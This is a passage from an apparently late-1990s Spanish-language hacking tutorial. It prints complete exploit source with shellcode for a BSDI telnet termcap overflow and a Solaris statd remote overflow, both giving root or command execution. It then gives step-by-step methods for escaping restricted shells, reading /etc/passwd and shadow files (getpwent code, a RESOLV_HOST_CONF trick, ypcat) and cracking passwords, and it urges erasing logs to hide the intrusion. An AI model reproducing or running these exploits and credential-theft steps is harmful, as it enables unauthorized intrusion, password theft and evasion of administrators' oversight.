  4390. <deraadt@CVS.OPENBSD.ORG> */
  4391.  
  4392. /* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c
  4393. **
  4394. ** Written by Joseph_K the 22-Oct-1997
  4395. **
  4396. **
  4397. ** Original shellcode by mudge@l0pht.com but modified a tiny bit...
  4398. **
  4399. ** This program must be compiled for the BSDI architecture...
  4400. ** You will need to transfer the file 'termcap' this program creates
  4401. ** to the host you want to penetrate, possibly by anonymous FTP.
  4402. **
  4403. ** Then start telnet and type:
  4404. **
  4405. ** telnet> env def TERM access
  4406. ** telnet> env def TERMCAP /path/and/name/of/uploaded/file
  4407. ** telnet> open victim.host.com
  4408. **
  4409. ** tadaa! r00t shell...
  4410. **
  4411. ** However because of the invalid termcap entry, there can be some
  4412. ** hazzles....You figure it out....
  4413. **
  4414. ** Fy faen vad jag ar hungrig...
  4415. **
  4416. ** Special Greetz to TWiLiGHT!
  4417. **
  4418. */
  4419.  
  4420. #include <stdlib.h>
  4421. #include <unistd.h>
  4422. #include <fcntl.h>
  4423.  
  4424. #define filename "./termcap"
  4425. #define entry   "access|Gimme r00t:\\\n :"
  4426. #define bufsize 1300
  4427. #define default_offset 870    /* Should work...*/
  4428.  
  4429. char shellcode[] =
  4430.    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  4431.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  4432.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  4433.    "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";
  4434.  
  4435. long get_sp(void)
  4436. {
  4437.    __asm__("movl %esp, %eax\n");
  4438. }
  4439.  
  4440. int main(int argc, char *argv[]) {
  4441.    int i, fd, offs;
  4442.    long *bof_ptr;
  4443.    char *ptr, *buffer, *tempbuf;
  4444.  
  4445.    offs = default_offset;
  4446.  
  4447.    if(argc == 2) {
  4448.       printf("using offset: %d\n",atoi(argv[1]));
  4449.       offs = atoi(argv[1]);
  4450.    }
  4451.  
  4452.    if(!(buffer = malloc(bufsize))) {
  4453.       printf("can't allocate enough memory\n");
  4454.       exit(0);
  4455.    }
  4456.  
  4457.  
  4458.   if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
  4459.       printf("can't allocate enough memory\n");
  4460.       exit(0);
  4461.    }
  4462.  
  4463.    bof_ptr = (long *)buffer;
  4464.    for (i = 0; i < bufsize - 4; i += 4)
  4465.       *(bof_ptr++) = get_sp() - offs;
  4466.  
  4467.    ptr = (char *)buffer;
  4468.    for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
  4469.       *(ptr++) = 0x90;
  4470.  
  4471.    for (i = 0; i < strlen(shellcode); i++)
  4472.       *(ptr++) = shellcode[i];
  4473.  
  4474.    printf("Creating termcap file\n");
  4475.  
  4476.    snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);
  4477.    fd = open(filename, O_WRONLY|O_CREAT, 0666);
  4478.    write (fd, tempbuf, strlen(tempbuf));
  4479.    close(fd);
  4480. }
  4481.  
  4482. ------------ FIN -------------------------------------------------------------
  4483.  
  4484.         Otro para Solaris 2.5.1:
  4485.  
  4486. ------------ Codigo Fuente ---------------------------------------------------
  4487.  
  4488. /*
  4489.  statd remote overflow, solaris 2.5.1 x86
  4490.  there is a patch for statd in solaris 2.5, well, it looks like
  4491.  they check only for '/' characters and they left overflow there ..
  4492.  nah, it's solaris
  4493.  
  4494.  usage: ./r host [cmd]  # default cmd is "touch /tmp/blahblah"
  4495.                         # remember that statd is standalone daemon
  4496.  
  4497.  */
  4498.  
  4499. #include <sys/types.h>
  4500. #include <sys/time.h>
  4501. #include <stdio.h>
  4502. #include <string.h>
  4503. #include <netdb.h>
  4504. #include <rpc/rpc.h>
  4505. #include <rpcsvc/sm_inter.h>
  4506. #include <sys/socket.h>
  4507.  
  4508. #define BUFSIZE 1024
  4509. #define ADDRS 2+1+1+4
  4510. #define ADDRP 0x8045570;
  4511.  
  4512. /* up to ~ 150 characters, there must be three strings */
  4513. char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};
  4514.  
  4515. char
  4516. asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\
  4517. x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x8
  4518. 9\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\
  4519. x9a\x01\x01\x01\x0
  4520.  
  4521.  
  4522. 1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\
  4523. x02\x02\x02\x02";
  4524. char nop[]="\x90";
  4525.  
  4526. char code[4096];
  4527.  
  4528. void usage(char *s) {
  4529.   printf("Usage: %s host [cmd]\n", s);
  4530.   exit(0);
  4531. }
  4532.  
  4533. main(int argc, char *argv[]) {
  4534.   CLIENT *cl;
  4535.   enum clnt_stat stat;
  4536.   struct timeval tm;
  4537.   struct mon monreq;
  4538.   struct sm_stat_res monres;
  4539.   struct hostent *hp;
  4540.   struct sockaddr_in target;
  4541.   int sd, i, noplen=strlen(nop);
  4542.   char *ptr=code;
  4543.  
  4544.   if (argc < 2)
  4545.     usage(argv[0]);
  4546.   if (argc == 3)
  4547.     cmd[2]=argv[2];
  4548.  
  4549.   for (i=0; i< sizeof(code); i++)
  4550.     *ptr++=nop[i % noplen];
  4551.  
  4552.   strcpy(&code[750], asmcode);  /* XXX temp. */
  4553.   ptr=code+strlen(code);
  4554.   for (i=0; i<=strlen(cmd[0]); i++)
  4555.     *ptr++=cmd[0][i]-1;
  4556.   for (i=0; i<=strlen(cmd[1]); i++)
  4557.     *ptr++=cmd[1][i]-1;
  4558.   for (i=0; i<=strlen(cmd[2]); i++)
  4559.     *ptr++=cmd[2][i]-1;
  4560.   ptr=code+BUFSIZE-(ADDRS<<2);
  4561.   for (i=0; i<ADDRS; i++, ptr+=4)
  4562.     *(int *)ptr=ADDRP;
  4563.   *ptr=0;
  4564.  
  4565.   printf("strlen = %d\n", strlen(code));
  4566.  
  4567.   memset(&monreq, 0, sizeof(monreq));
  4568.   monreq.mon_id.my_id.my_name="localhost";
  4569.   monreq.mon_id.my_id.my_prog=0;
  4570.   monreq.mon_id.my_id.my_vers=0;
  4571.   monreq.mon_id.my_id.my_proc=0;
  4572.   monreq.mon_id.mon_name=code;
  4573.  
  4574.   if ((hp=gethostbyname(argv[1])) == NULL) {
  4575.     printf("Can't resolve %s\n", argv[1]);
  4576.     exit(0);
  4577.   }
  4578.   target.sin_family=AF_INET;
  4579.   target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  4580.   target.sin_port=0;    /* ask portmap */
  4581.   sd=RPC_ANYSOCK;
  4582.  
  4583.   tm.tv_sec=10;
  4584.   tm.tv_usec=0;
  4585.   if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
  4586.     clnt_pcreateerror("clnt_create");
  4587.     exit(0);
  4588.   }
  4589.   stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
  4590.                 (char *)&monres, tm);
  4591.   if (stat != RPC_SUCCESS)
  4592.     clnt_perror(cl, "clnt_call");
  4593.   else
  4594.     printf("stat_res = %d.\n", monres.res_stat);
  4595.   clnt_destroy(cl);
  4596. }
  4597.  
  4598. ------------ FIN -------------------------------------------------------------
  4599.  
  4600.         Otro bug de System V (aunque es improbable que funcione) pero es
  4601.   bastante aclarativo de cuales pueden llegar a ser las naturalezas de los
  4602.   bugs:
  4603.  
  4604.         Existe un bug en Passwd+ o Npasswd que permite el acceso sin clave
  4605.   cuando la validez de la anterior ha expirado. Si el programa detecta que el
  4606.   usuario que quiere entrar (sabe quien es despues de poner el login) tiene
  4607.   el mismo password demasiado tiempo, le pide inmediatamente que lo cambie
  4608.   ≡≡SIN PEDIR EL PASSWORD ANTIGUO!!!, saldria esto:
  4609.  
  4610.         UNIX(r) System V Release 4.0 (good religious site)
  4611.  
  4612.         login: priest
  4613.         Sorry Passwd has expired
  4614.         Change:
  4615.  
  4616.         Y pones el que quieres y ya estas dentro :--> con una cuenta que tu
  4617.   has determinado el passwd jeje
  4618.  
  4619.         Para posteriores ediciones espero poner algunos mas, pero creo que es
  4620.   mejor que ponga bastantes en la seccion de pillar root ke es mas interesante
  4621.   ke esto :o)y ademas, sinceramente no se si vale la pena ya que se pueden
  4622.   encontrar con facilidad en la red.
  4623.  
  4624.   4.8.- OTROS METODOS
  4625.  
  4626.         En fin, aqui solo voy a comentar que hay muchisimos mas metodos para 
  4627.   conseguir cuentas ... directamente con muchisimos otros bugs y xploits que 
  4628.   rulan por ahi, usando el metodo de la fuerza bruta por algun servicio ( ftp,
  4629.   pop3, etc), spoofing, fallos de configuracion en ftp, alguna cuenta que
  4630.   pilles con un sniffer, fallos en los rpc, mas xploits remotos, defectos de
  4631.   configuracion, hijacking, etc... pero esto ya se comentara en posteriores
  4632.   ediciones si hay ganas ;o) o quizas en textos especificos para esos temas ya
  4633.   que este texto es de introduccion y tampoco lo quiero recargar demasiado.
  4634.  
  4635.   5.- SALIR DE SHELL RESTRINGIDA
  4636.  
  4637.         La idea es que una vez que tenemos una cuenta shell en un sitio y la
  4638.   shell esta muy restringida y no podemos hacer nada ( hay veces que ni
  4639.   siquiera te deja cambiar de directorio, ni ejecutar el gcc ni nada) hemos de
  4640.   buscar alguna manera de tener una cuenta un poco mas decente.
  4641.  
  4642.         Algunas veces, la solucion es probar con el login y el password de la
  4643.   shell pero entrando por otros puertos como el ftp, rlogin, etc. y gracias a
  4644.   dios algunas veces se obtienen cuentas con mejores prestaciones que la
  4645.   anterior. Puedes escribir un + + en el fichero .rhosts y hacer un rlogin,
  4646.   etc...otras veces, entrando por el ftp podemos sobreescribir algun fichero
  4647.   que sea el que nos esta activando las restricciones... queda bastante claro
  4648.   no? :)
  4649.  
  4650.         Asi ya podemos intentar pillar el fichero de passwd o ejecutar algun
  4651.   xploit para pillar otras cuentas o el rOOt.
  4652.  
  4653.         Otro metodo que a veces funciona, dependiendo de como se ha hecho esa 
  4654.   shell restringida (si esta bastante mal hecha) es el rulando un programa que 
  4655.   interactua con el shell como por ejemplo el vi:
  4656.  
  4657.   :set shell=/bin/sh
  4658.  
  4659.   y luego..
  4660.  
  4661.   :shell
  4662.  
  4663.         Otro sistema ke puede funcionar, si tienes una cuenta para mail es
  4664.   tocar el .pinerc... es decir, bajarlo por ftp, tocarlo en tu maquina y
  4665.   volverlo a subir.
  4666.  
  4667.         Si la cuenta no es muy restringida y deja correr el gcc, se puede
  4668.   compilar algun programa en c que te deje acceder al fichero de passwd aunque
  4669.   no tengas acceso a ese directorio. En la seccion de passwd y como cogerlos
  4670.   hay programas de este tipo.
  4671.  
  4672.         En fin, son metodos un poco cutres pero a veces funcionan. Ademas, en 
  4673.   general lo que se ha de hacer es examinar las variables de entorno que 
  4674.   tenemos en la shell y pensar si de alguna manera podemos inhabilitar las 
  4675.   restricciones aunque para esto se necesita tener un poco claro el unix.
  4676.  
  4677.   6.- CRACKEAR PASSWORDS EN MAQUINAS UNIX
  4678.  
  4679.         Suponiendo que con alguna de las tecnicas expuestas en el apartado
  4680.   anterior, hemos conseguido el famoso fichero /etc/passwd, ahora hay que
  4681.   obtener los passwd desencriptados.
  4682.  
  4683.   6.1.- Introduccion y algoritmo de cifrado.
  4684.  
  4685.         En los sistemas Unix, los logins y los passwords suelen estar en el
  4686.   fichero /etc/passwd ( a no ser que esten shadow ).
  4687.  
  4688.         En estos ficheros, el login es visible y el password esta encriptado
  4689.   por lo que tienen una forma como la que se muestra a continuacion:
  4690.  
  4691.   root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh
  4692.   sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh
  4693.   diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
  4694.   daemon:*:1:1:daemons:/:/dev/null
  4695.   bin:*:2:2:System Tools Owner:/bin:/dev/null
  4696.   uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
  4697.   sys:*:4:0:System Activity Owner:/var/adm:/bin/sh
  4698.   adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh
  4699.   lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
  4700.   nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
  4701.   auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh
  4702.   dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh
  4703.   rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh
  4704.   guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh
  4705.   4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh
  4706.   will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
  4707.  
  4708.         Donde cada campo viene separado por : y en los que el significado de
  4709.   cada campo es:
  4710.  
  4711.   Login: will
  4712.   Password encriptado: 5fg63fhD3d5gh
  4713.   Numero de identificacion del usuario (UID): 9406
  4714.   Numero de identificacion del grupo al que pertenece (GID): 12
  4715.   Nombre real: Will Spencer
  4716.   Directorio Home: /home/fsg/will
  4717.   Tipo de shell: /bin/bash
  4718.  
  4719.         En algunas lineas, el campo password es "*". Este password encriptado
  4720.   es invalido, o sea, no se corresponde con ningun password; por tanto, las
  4721.   cuentas que tienen alguna "*" en el campo password son cuentas a las que no
  4722.   se podra entrar y que son usadas por el sistema operativo.
  4723.  
  4724.         Si en el fichero de pass en el lugar del password aparece :: quiere
  4725.   decir que esa cuenta no tiene password, por lo que al introducir el login
  4726.   entras directamente.
  4727.  
  4728.         Respecto a la cadena de uid ( user identification) el "0" corresponde
  4729.   al rOOt. Igualmente, si hay otros users con uid=0, estos usuarios son rOOt
  4730.   a todos los efectos, o sea, tienen los mismos derechos que el rOOt ( nota
  4731.   para el que vaya un poco perdido, el rOOt es la persona que tiene un poder
  4732.   absoluto sobre el sistema pudiendo hacer todo lo que le plazca). Muchas
  4733.   veces solo habra un user con id 0 pero a veces hay varios con lo que se
  4734.   facilita el trabajo :o)
  4735.  
  4736.         Los usuarios que sin tener el uid=0 tienen el mismo gid que el rOOt,
  4737.   tambien tienen algunos privilegios por el hecho de pertenecer al grupo del
  4738.   rOOt. Igualmente, hay que observar los uid y los gid de otros personajes
  4739.   particulares del sistema como wwwadmin, admin, www, bin , etc.
  4740.  
  4741.         La siguiente cadena indica el directorio home, es decir al directorio
  4742.   que entraras cuando entres a esa maquina. La ultima cadena indica el shell
  4743.   que usaras por defecto cuando entres... hay varios tipos de shell.. sh,
  4744.   csh... pero eso se comenta en cualquier sitio que hable sobre unix por lo
  4745.   que para remitiros a las diferencias lo podeis mirar alli.
  4746.  
  4747.   Vamos a hablar un poco sobre el algoritmo de cifrado:
  4748.  
  4749.         El algoritmo de cifrado es el llamado DES, el cual era un algoritmo 
  4750.   practicamente indescifrable cuando se ideo, pero que con el paso del tiempo
  4751.   y la tremenda evolucion de la tecnologia, cada dia se hace mas posible su 
  4752.   desencriptado, dada la velocidad de los ordenadores actuales.
  4753.  
  4754.         Es casi imposible volver hacia atras a partir de un password para
  4755.   obtener la palabra original. La unica forma que se conoce de romper DES es
  4756.   a fuerza bruta, cosa que se consiguio a principios de 1997 en internet, con
  4757.   maquinas distribuidas (lo mismo que ahora intentan con RC5). Tardaron 4
  4758.   meses en romperlo, y eso que tuvieron suerte y solo tuvieron que probar una
  4759.   pequeña parte de todas las posibles claves.
  4760.  
  4761.         Otro aspecto a destacar es la existencia del password aging, es decir
  4762.   que los password caducan. Esto es importante conocerlo ya que si los
  4763.   passwords se renuevan habitualmente, tendremos que acelerar nuestras
  4764.   acciones si no queremos que tras haber crackeado el fichero passwd, estos
  4765.   passwords ya hayan sido cambiados :o(
  4766.  
  4767.         Si existe el password aging, en el fichero de passwords las entradas
  4768.   seran del tipo:
  4769.  
  4770.   Pepe:cualquier,43:34:3:Pepe perez:/home/pepe
  4771.  
  4772.         El formato es del tipo passwd,Mmww donde M es el maximo numero de 
  4773.   semanas que pueden pasar hasta que el password sea cambiado y m es el 
  4774.   minimo intervalo en el que puede ser cambiado mientras que ww indica cuando 
  4775.   fue la ultima vez que se cambio el password.
  4776.  
  4777.   La relacion entre M, m y el numero real de semanas es:
  4778.  
  4779.   Caracter        Numero de semanas
  4780.   .               0
  4781.   /               1
  4782.   0-9             2-11
  4783.   A-Z             12-37
  4784.   a-z             38-63
  4785.  
  4786.         Asi, en el ejemplo de Pepe, el password contiene la extension ,43 que
  4787.   quiere decir que debe ser cambiado antes de 6 semanas ( ya que el 0
  4788.   corresponde al 2) y que debe permanecer al menos 3.
  4789.  
  4790.         Entonces la pregunta es.. si es casi imposible desencriptarlos.. ¿que
  4791.   hace unix/linux para leer el fichero cuando entras al sistema??. Simplemente
  4792.   lo que hace es leer el login y el passwd que introduces por el teclado, los
  4793.   encripta y si coinciden con los correspondientes en el fichero /etc/passwd
  4794.   ya estas dentro!!!
  4795.  
  4796.         Por tanto, la forma de atacar un fichero de passwords de Unix es
  4797.   precisamente la misma que usa el sistema operativo para verificar un
  4798.   password: encriptar muuuuchas palabras y comprobar cada una de ellas si
  4799.   coincide con el password encriptado. Si coincide, ya tenemos un password, y
  4800.   si no, probamos la siguiente palabra. Para hacer esto necesitamos tres
  4801.   cosas: una lista de palabras a probar, una lista con los passwords
  4802.   encriptados y un programa que haga las pruebas.
  4803.  
  4804.   6.2.- Conseguir el fichero de passwd estando dentro de la maquina
  4805.  
  4806.   6.2.1.- Introduccion
  4807.  
  4808.         Siempre que se tenga una cuenta en un sistema, debereis entrar en el
  4809.   para pillar el famoso fichero de passwd sobre todo si esa cuenta os la ha
  4810.   pasado otro hacker ya que el root puede darse cuenta que esa cuenta es
  4811.   peligrosa para sus intereses y cerrarla.
  4812.  
  4813.         Igualmente, antes de ir a pillarlo, haced un who para ver si esta el
  4814.   root.. aunque muchas veces aparece el root y realmente no esta ya que es
  4815.   facil hacer esto por lo que cada uno que vea lo que hace en estos casos
  4816.   aunque con un poco de sentido comun es sencilla la determinacion a tomar.
  4817.  
  4818.         Asi, si teneis el fichero de passwd tendreis muchisimas cuentas y os
  4819.   dara lo mismo que cierren la cuenta con la que entrasteis en principio
  4820.   aunque esto realmente no es asi por lo que no lo tomeis muy al pie de la
  4821.   letra ya que un root que se de cuenta de que tiene un hacker rondando (si
  4822.   el root controla el tema) siempre tiene las de ganar en esta batalla :(
  4823.  
  4824.         Ademas, es conveniente cambiar de cuentas para entrar al sistema ya
  4825.   que como se comentara mas adelante parte de lo que hagais en un sistema UNIX 
  4826.   se queda en los ficheros de logs por lo que si no conseguis root y borrais
  4827.   estos logs, vuestras huellas estaran ahi y nada mas que el root tenga algo
  4828.   de interes por la seguridad vera que ha habido un tio haciendo cosas
  4829.   inusuales, pero todo esto ya es otro cantar que ya se hablara mas adelante.
  4830.  
  4831.         El resumen de los anteriores parrafos es que lo mejor es una vez con
  4832.   una cuenta en el sistema, pillar el fichero de passwords y luego hacerse
  4833.   root y borrar todas las huellas... el problema es que no siempre todo esto
  4834.   es tan sencillo :(
  4835.  
  4836.         En fin, suponemos que hemos conseguido una cuenta por alguno de los 
  4837.   metodos anteriores, asi, si la cuenta no es muy restringida siempre podeis 
  4838.   hacer un "cat /etc/passwd". Si no tienen Shadow Passwords o NIS aparecera 
  4839.   una lista como la que habeis visto al principio. Sino, aparecera algo
  4840.   similar a esto:
  4841.  
  4842.   root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh
  4843.   sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh
  4844.   diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
  4845.   daemon:*:1:1:daemons:/:/dev/null
  4846.   bin:*:2:2:System Tools Owner:/bin:/dev/null
  4847.   uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
  4848.   sys:*:4:0:System Activity Owner:/var/adm:/bin/sh
  4849.   adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh
  4850.   lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
  4851.   nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
  4852.   auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh
  4853.   dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh
  4854.   rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh
  4855.   guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh
  4856.   4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh
  4857.   will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash 
  4858.  
  4859.         Aunque el problema que se puede dar en muchos de estos sistemas, el 
  4860.   directorio que contiene el fichero passwd (este o no este shadow) no es de 
  4861.   acceso a usuarios que no sean root, por lo que en principio no conseguiremos 
  4862.   ver su contenido, pero eso se hara posible gracias a sucesivas llamadas a 
  4863.   getpwent(). Debemos nombrar este archivo como getpass y direccionar su 
  4864.   salida a un fichero tal como sigue:
  4865.  
  4866.   cc cogerPass.cc -o cogerPass > fichero
  4867.  
  4868. ------------ Codigo Fuente ---------------------------------------------------
  4869.  
  4870. #include <iostream.h>
  4871. #include <pwd.h>
  4872.  
  4873. struct passwd *pw;
  4874.  
  4875. main()
  4876. {
  4877.    while ((pw = getpwent()) != NULL)
  4878.    {
  4879.       cout << pw->pw_name;
  4880.       cout << ":" << pw->pw_passwd;
  4881.       cout << ":" << pw->pw_uid;
  4882.       cout << ":" << pw->pw_gid;
  4883.       cout << ":" << pw->pw_gecos;
  4884.       cout << ":" << pw->pw_dir;
  4885.       cout << ":" << pw->pw_shell << endl;
  4886.    }
  4887.  
  4888.    endpwent();
  4889. }
  4890.  
  4891. ------------ FIN -------------------------------------------------------------
  4892.  
  4893.         y tendreis el archivo de passwd renombrado con el nombre fichero con
  4894.   lo que ya podeis hacer lo que querais con el. Se os ocurre algo ¿?? XDD
  4895.  
  4896.   6.2.2.- PASSWORD SHADOWING
  4897.  
  4898.         En todo el texto nos hemos referido a este concepto sin explicar lo
  4899.   que es. Posiblemente lo tendria que haber comentado antes, pero espero que
  4900.   quien lea se leera todo el texto antes de hacer nada. En fin, no me enrollo,
  4901.   password shadowing consiste en un sistema de seguridad en el cual en el
  4902.   archivo etc/passwd no estan los ficheros encriptados, sino que habra algo
  4903.   del tipo:
  4904.  
  4905.   root:x:0:0:root:/root:/bin/bash
  4906.   bin:x:1:1:bin:/bin:
  4907.   daemon:x:2:2:daemon:/sbin:
  4908.   adm:x:3:4:adm:/var/adm:
  4909.   lp:x:4:7:lp:/var/spool/lpd:
  4910.   sync:x:5:0:sync:/sbin:/bin/sync
  4911.   shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  4912.   halt:x:7:0:halt:/sbin:/sbin/halt
  4913.   mail:x:8:12:mail:/var/spool/mail:
  4914.   news:x:9:13:news:/usr/lib/news:
  4915.   uucp:x:10:14:uucp:/var/spool/uucppublic:
  4916.   operator:x:11:0:operator:/root:/bin/bash
  4917.   games:x:12:100:games:/usr/games:
  4918.   man:x:13:15:man:/usr/man:
  4919.   postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
  4920.   nobody:x:-2:100:nobody:/dev/null:
  4921.   ftp:x:404:1::/home/ftp:/bin/bash
  4922.   guest:x:405:100:guest:/dev/null:/dev/null
  4923.   bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
  4924.   web:x:502:100:Web Master:/home/web:/bin/bash
  4925.   mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
  4926.  
  4927.         En los que como se puede observar, los passwd encriptados han sido 
  4928.   sustituidos por una x aunque podria ser un * u otros simbolos. En este tipo
  4929.   de sistemas de seguridad, el verdadero archivo de passwd esta en un fichero
  4930.   que no es el /etc/passwd, pero el problema es que ese archivo no es
  4931.   accesible para todo el mundo, sino que es de solo lectura por el root por lo
  4932.   que si eres un usuario normal, no podras leerlo en principio.
  4933.  
  4934.         A continuacion se muestra en que directorio puede estar el fichero
  4935.   shadow en los sistemas operativos mas usuales (obtenida de FAQ 2600):
  4936.  
  4937.         Para determinar el tipo de unix que corre, usa uname -a cuando estes
  4938.   ya dentro de la maquina, aunque se puede ver con un telnet u otros metodos.
  4939.  
  4940.   Unix                  Path                            Token
  4941.   -----------------------------------------------------------------
  4942.   AIX 3                 /etc/security/passwd              !
  4943.          or             /tcb/auth/files/<first letter     #
  4944.                               of username>/<username>
  4945.   A/UX 3.0s             /tcb/files/auth/?/*
  4946.   BSD4.3-Reno           /etc/master.passwd        *
  4947.   ConvexOS 10           /etc/shadpw                       *
  4948.   ConvexOS 11           /etc/shadow                       *
  4949.   DG/UX                 /etc/tcb/aa/user/                 *
  4950.   EP/IX                 /etc/shadow                       x
  4951.   HP-UX                 /.secure/etc/passwd               *
  4952.   IRIX 5                /etc/shadow                       x
  4953.   Linux 1.1             /etc/shadow                       *
  4954.   OSF/1                 /etc/passwd[.dir|.pag]            *
  4955.   SCO Unix #.2.x        /tcb/auth/files/<first letter   *
  4956.                               of username>/<username>
  4957.   SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
  4958.   SunOS 5.0             /etc/shadow
  4959.                         <optional NIS+ private secure maps/tables/whatever>
  4960.   System V Release 4.0  /etc/shadow                     x
  4961.   System V Release 4.2  /etc/security/* database
  4962.   Ultrix 4              /etc/auth[.dir|.pag]              *
  4963.   UNICOS                /etc/udb                          *
  4964.  
  4965.         Una manera de conseguir el fichero de passwd si esta shadow y si usa
  4966.   libc 5.4.7 ( algunos aun la usan) es aprovechar que algunos comandos como
  4967.   ping, traceroute, rlogin y ssh estan suid por lo que se podra explotar como
  4968.   sigue:
  4969.  
  4970.   Ejecutas bash o sh
  4971.   Export RESOLV_HOST_CONF=/etc/shadow ( o el fichero en el que este 
  4972.   dependiendo del sistema operativo)
  4973.   Ping asdf
  4974.  
  4975.         Y si no ha fallado nada te imprimira el shadow  jeje. Con este metodo
  4976.   se pueden hacer mas kosas... pero es tan obvio que lo omito okis? jeje
  4977.  
  4978.   6.2.3.- NIS
  4979.  
  4980.         Otro concepto que se ha comentado a lo largo del texto es el de NIS
  4981.   por lo que a continuacion explico un poco lo que es.
  4982.  
  4983.         NIS (Network Information System) es un protocolo de nivel de
  4984.   aplicacion muy util para la gestion de configuraciones cliente/servidor en
  4985.   sistemas UNIX. Anteriormente era conocido como Yellow Pages y es un sistema
  4986.   de bases de datos distribuidas que proporcionan un metodo uniforme para el 
  4987.   almacenamiento y de recuperacion de la informacion sobre los recursos de
  4988.   red. En lugar de gestionar archivos como /etc/host /etc/passwd,/etc/group 
  4989.   independientemente en cada maquina de la red, este sistema posibilita que 
  4990.   solo haya una base de datos compartida por el resto de las maquinas clientes 
  4991.   en un servidor central.
  4992.  
  4993.         En fin, tras este rollo os preguntares y que mas nos da esto del
  4994.   NIS??, pues bien, es que una de la informacion ( mapas) que es compartida
  4995.   son los famosos ficheros de password que nosotros buscamos jeje. 
  4996.  
  4997.         Asi, si estas dentro de una maquina con NIS y os sale algo que parece
  4998.   un shadow en el fichero /etc/passwd posiblemente haya un NIS. Esto se puede 
  4999.   identificar como se ha comentado, mirando la ultima linea del fichero de 
  5000.   passwd y si es algo del tipo "+::0:0:::" o mirando los procesos del sistema,
  5001.   ya que el NIS siempre tendra corriendo ypserv y algunos procesos mas que 
  5002.   empiezan por yp, es decir, yp*. Bien, si ya tienes claro que corre NIS, lo
  5003.   que tienes que intentar es usar el ypcat tal como sigue:
  5004.  
  5005.   ypcat /etc/passwd > ~/passwd 
  5006.  
  5007.         y bajate el fichero passwd de tu directorio HOME usando FTP o como
  5008.   quieras. Mas adelante se comentaran varios metodos.
  5009.  
  5010.         En caso de que no tengais privilegios para ejecutar el "ypcat", o en
  5011.   caso de que el "ypcat" no este o por si acaso lo que aparece al ejecutar el
  5012.   "ypcat" vuelve a ser basura otra vez, tendreis que recurrir a otros
  5013.   programas para obtener los passwords como por ejemplo el pwget que tambien
  5014.   es usado para pillar shadows:
  5015.  
  5016. ------------ Codigo Fuente ---------------------------------------------------
  5017.  
  5018. # This is a shell archive.  Remove anything before this line,
  5019. # then unpack it by saving it in a file and typing "sh file".
  5020. # This archive contains:
  5021. #    README        Makefile    pwget.1        pwget.c        
  5022.  
  5023. LANG=""; export LANG
  5024.  
  5025. echo x - README
  5026. cat >README <<'@EOF'
  5027.  
  5028. These utilities provided a common command level access to /etc/group and 
  5029. /etc/passwd much in the same way as getgrent(), getpwent(), et al.
  5030.  
  5031. This is especially useful if your system is running NFS and Yellow Pages. With 
  5032. Yellow pages, there is no easy command level interface for this information
  5033. that will give you the same results as the libc routines.
  5034.  
  5035. These routines use "getopt()" so make sure your system has it.
  5036.  
  5037. Edit the Makefile for your machine/os and for the owner, group, mode
  5038. and destination of the binary and the man page.
  5039.  
  5040. Install with: make install.
  5041.  
  5042. File list:
  5043. README        -    This file.
  5044. Makefile    -    Makefile.
  5045. pwget.1        -    Man Page.
  5046. pwget.c        -    Command source.
  5047.  
  5048. @EOF
  5049.  
  5050. chmod 664 README
  5051.  
  5052. echo x - Makefile
  5053. cat >Makefile <<'@EOF'
